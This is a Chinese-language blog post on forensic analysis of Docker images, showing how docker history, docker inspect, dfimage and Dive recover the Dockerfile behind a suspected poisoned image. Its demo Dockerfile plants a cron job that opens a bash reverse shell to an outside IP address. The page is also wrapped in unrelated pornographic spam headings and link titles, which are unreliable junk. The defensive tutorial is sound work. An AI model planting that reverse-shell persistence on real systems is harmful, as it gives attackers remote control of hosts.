成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Docker鏡像解析獲取Dockerfile文件

云計算 云原生
當涉及到容器鏡像的安全時,特別是在出現鏡像投毒引發的安全事件時,追溯鏡像的來源和解析Dockerfile文件是應急事件處理的關鍵步驟。在這篇博客中,我們將探討如何從鏡像解析獲取Dockerfile文件,這對容器安全至關重要。

01、概述

當涉及到容器鏡像的安全時,特別是在出現鏡像投毒引發的安全事件時,追溯鏡像的來源和解析Dockerfile文件是應急事件處理的關鍵步驟。在這篇博客中,我們將探討如何從鏡像解析獲取Dockerfile文件,這對容器安全至關重要。

02、環境準備

利用Dockfile構建一個反彈shell的惡意鏡像:

FROM ubuntu:20.04
RUN  apt-get update &&\
     apt-get install -y cron &&\
     (echo '* * * * * bash -c "bash -i >& /dev/tcp/192.168.99.242/12345 0>&1"'; crontab -l )| crontab
ENTRYPOINT ["cron","-f","&&"]
CMD ["/bin/bash"]


03、鏡像解析Dockerfile

3.1 鏡像文件解析

在鏡像的元數據信息中,到鏡像構建所使用的 Dockerfile,可以成功解析 Docker 鏡像并獲取其 Dockerfile 內容,以了解鏡像的構建過程和引入的軟件包及配置。

docker save -o test.tar test:v1.0
 tar -xvf test.tar


3.2 docker命令參數

使用docker history 命令查看指定鏡像的創建歷史,展示只能看到一部分,可以加上 --no-trunc,就可以看到全部信息。

docker history test:v1.0 
docker history test:v1.0  --no-trunc


使用docker inspect命令來查看Docker鏡像的詳細信息,通過--format參數可自行定義輸出信息,獲取鏡像的配置信息。

#查看鏡像的配置信息
docker inspect --format='{{json .Config}}' test:v1.0

3.3 dfimage

dfimage是一款第三方工具,可用來從鏡像中提取 Dockerfile

(1)生成快捷方式,使用dfimage可以輸出很詳細的 Dockerfile。

alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36  test:v1.0

3.4 Docker鏡像分析神器 Dive

Dive是一款Docker鏡像分析神器,分析和瀏覽 Docker 容器鏡像內部,可以很詳細的看到每一層文件的變化。

alias dive="docker run -ti --rm  -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
dive test:v1.0

圖片圖片

責任編輯:武曉燕 來源: Bypass
相關推薦

2024-03-06 18:11:06

Docker鏡像技術

2021-05-13 23:54:12

DockerDockerfile鏡像

2022-08-04 18:30:59

DockerfileDocker 鏡像Linux

2019-10-21 11:43:00

DockerGradleJava

2023-06-08 07:37:42

Docker容器

2020-11-03 16:42:46

容器Dockerfile技術

2023-12-04 16:18:30

2021-09-08 17:20:18

DockerDockerfile程序

2018-06-05 08:58:38

Docker存儲容器

2018-04-24 15:15:51

Dockerfile命令Docker

2021-09-02 11:55:57

Dockerfile文Linux

2018-04-20 15:24:55

DockerfileDocker鏡像

2014-11-18 10:37:15

dockerlinux技巧

2019-09-17 09:44:45

DockerHTMLPython

2015-01-08 15:18:43

DockerDockerFile創建鏡像

2021-08-10 07:41:24

JavaDocker鏡像

2022-05-25 16:48:25

數據卷Docker

2022-10-14 07:07:46

架構

2021-11-09 14:08:45

DockerDockerfileJava

2023-08-04 08:20:56

DockerfileDocker工具
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 一级毛片成人免费看a | 国产激情在线 | 一区二区中文字幕 | 国产亚洲精品成人av久久ww | 久久久精品一区 | 亚洲精品欧美一区二区三区 | 午夜影院在线观看视频 | 在线激情视频 | 国产一区二区三区视频 | 欧美日韩国产一区二区三区 | 日韩欧美在线视频播放 | 91网在线播放 | 亚洲男人的天堂网站 | 在线看片网站 | 精品久久久久久国产 | 中文字幕一区二区三区四区 | 欧美一区2区三区3区公司 | 一级特黄网站 | 婷婷色婷婷 | 北条麻妃一区二区三区在线视频 | 国产乱性 | 91pron在线| 国产99久久精品一区二区永久免费 | 中文字幕日韩欧美一区二区三区 | 无人区国产成人久久三区 | 国产精品国产成人国产三级 | 午夜小视频在线播放 | 久久久男人的天堂 | 精品视频一区二区 | 亚洲成人自拍 | 亚洲精品在线看 | 99在线资源| 色爱综合网 | 国产91网址 | 在线成人福利 | 国产一级久久久久 | 中文字幕av中文字幕 | 久久精品亚洲欧美日韩久久 | 国产三区视频在线观看 | 久久精品中文字幕 | 亚洲精品一区二区三区四区高清 |